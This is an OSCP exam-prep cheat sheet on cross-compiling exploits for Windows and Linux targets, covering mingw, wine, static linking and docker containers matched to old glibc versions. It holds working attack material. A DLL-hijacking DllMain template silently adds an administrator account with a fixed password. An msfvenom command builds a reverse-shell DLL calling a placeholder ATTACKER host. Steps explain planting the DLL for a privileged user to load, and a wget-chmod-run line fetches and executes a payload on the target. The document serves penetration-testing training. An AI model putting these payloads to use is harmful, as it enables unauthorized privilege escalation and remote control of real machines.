Cross-Compiling for OSCP
When the target can not compile, when you need to test on Kali first, when GLIBC bites you. Both Windows (mingw + wine) and Linux (docker + static) live here.
1. WHEN to use this file
| Situation | Section |
|---|---|
Public exploit is .c, target is Windows, need EXE | §3 |
Public exploit is .c, target is Linux, no gcc on target | §5 |
| Compiled binary works on Kali but fails on target | §6 + §7 |
GLIBC_X.YZ not found on target | §5 (matching container) |
| Want to fire a remote exploit from Kali instead of uploading | §6 (wine) |
2. Setup (one-time, on Kali)
# Windows cross-compile
sudo apt install mingw-w64
# Run Windows binaries on Kali
sudo dpkg --add-architecture i386 && sudo apt update
sudo apt install wine wine32 wine64
# Linux precompile in matching distro
sudo apt install docker.io && sudo systemctl start docker
Two mingw compilers — architecture must match the target:
| Compiler | Output |
|---|---|
i686-w64-mingw32-gcc | 32-bit Windows PE |
x86_64-w64-mingw32-gcc | 64-bit Windows PE (default modern) |
file evil.exe confirms — PE32 = 32-bit, PE32+ = 64-bit. Mismatch = silent fail.
3. Windows EXE from C source
# Basic
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
# Network exploit (winsock)
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
# Static — no DLL deps on target
x86_64-w64-mingw32-gcc -static -o exploit.exe exploit.c -lws2_32
Linker error rule: undefined reference to _imp__<symbol> → google the symbol → add the matching -l flag.
| Missing symbol | Add flag | Library |
|---|---|---|
WSAStartup, socket, connect, send | -lws2_32 | winsock |
InternetOpen, HttpSend | -lwininet | HTTP |
RegOpenKey, OpenSCManager | -ladvapi32 | registry / services |
4. Windows DLL for hijacking
Same compiler, --shared, .dll extension. Filename must exactly match the DLL the target app loads.
x86_64-w64-mingw32-gcc evil.cpp --shared -o TextShaping.dll
DllMain template — payload runs on DLL_PROCESS_ATTACH:
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
int i;
i = system("net user pwned Password123! /add");
i = system("net localgroup administrators pwned /add");
break;
case DLL_THREAD_ATTACH: break;
case DLL_THREAD_DETACH: break;
case DLL_PROCESS_DETACH: break;
}
return TRUE;
}
Faster path with msfvenom (when you just need a reverse shell):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o evil.dll
icacls "C:\App"confirms(M)or(F)for your user- Identify the target DLL by name (procmon on a local copy, or known CVE)
- Drop your DLL with the exact target filename in the writable dir
- Wait for the privileged user to launch the app — DLL loads with their privileges
5. Linux ELF — target has no gcc
The real issue is rarely “no gcc” — it is glibc mismatch. Compile on Kali (modern glibc) → binary fails on old target with GLIBC_2.34 not found.
Strategy A — static link first (fast, often works)
gcc -static -o exploit exploit.c
file exploit # should say "statically linked"
Static binaries do not depend on target glibc. Bigger file, runs anywhere with matching arch.
Does not work when: the exploit relies on dynamic loader behavior (PwnKit specifically will not compile static), or uses dlopen/dlsym.
Strategy B — Docker container matching the target distro
# Identify target first
cat /etc/os-release # on target
# On Kali — spin up matching container
mkdir ~/xc && cd ~/xc
# put exploit.c in this dir
docker run -it --rm -v $(pwd):/work ubuntu:20.04 bash
# inside container:
apt update && apt install -y gcc make
cd /work && gcc -o exploit exploit.c
exit
# Back on Kali:
file exploit # confirm: ELF 64-bit, x86_64
python3 -m http.server 8000
# On target:
wget http://KALI_IP:8000/exploit && chmod +x exploit && ./exploit
| Target says | Container |
|---|---|
| Ubuntu 16.04 / 18.04 / 20.04 | ubuntu:16.04 / :18.04 / :20.04 |
| Debian 9 / 10 / 11 | debian:9 / :10 / :11 |
| CentOS 7 | centos:7 |
| RHEL/CentOS 8 | rockylinux:8 |
| Alpine | alpine:3.X |
6. Test before transfer
Architecture check — always do this
file evil.exe # PE32 or PE32+ — must match target arch
file exploit # ELF 32-bit or 64-bit — must match target arch
Wine — smoke-test Windows binaries on Kali
wine evil.exe # smoke test
sudo wine exploit.exe # if raw socket privileges needed
Two real uses:
- Smoke-test — if it crashes under wine, it is broken. Do not waste a target reset on a transfer that will not work.
- Run remote-network exploits FROM Kali — many compiled exploits open a socket and shoot at a target IP. No need to upload to Windows.
Wine works for: network exploits, simple utilities, BoF stubs, basic system() calls. Wine does NOT work for: SeImpersonate Potato attacks, anything needing real Windows services / .NET / WMI / SCM, GUI apps. For those, transfer to a real target.
7. Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
undefined reference to _imp__WSAStartup | Missing winsock link | Add -lws2_32 |
| Exploit runs on Kali (wine) but not on target | Target missing runtime DLL | Rebuild with -static |
GLIBC_2.XX not found on target | glibc mismatch | Build in matching docker container, OR -static |
| DLL transferred but app ignores it | Architecture or filename mismatch | file evil.dll to confirm arch; check exact target DLL name |
| App crashes instead of loading DLL | DllMain malformed | Confirm return TRUE; at end |
| Service will not restart for hijack to fire | Cannot sc stop/sc start | shutdown /r /t 0 if you have SeShutdownPrivilege; otherwise wait for auto-restart or scheduled trigger |
wine: cannot find L"..." | 32-bit deps missing | sudo apt install wine32 |
| Compiled but binary is 0 bytes / corrupt | Compiler failed silently | Re-run with -v to see errors |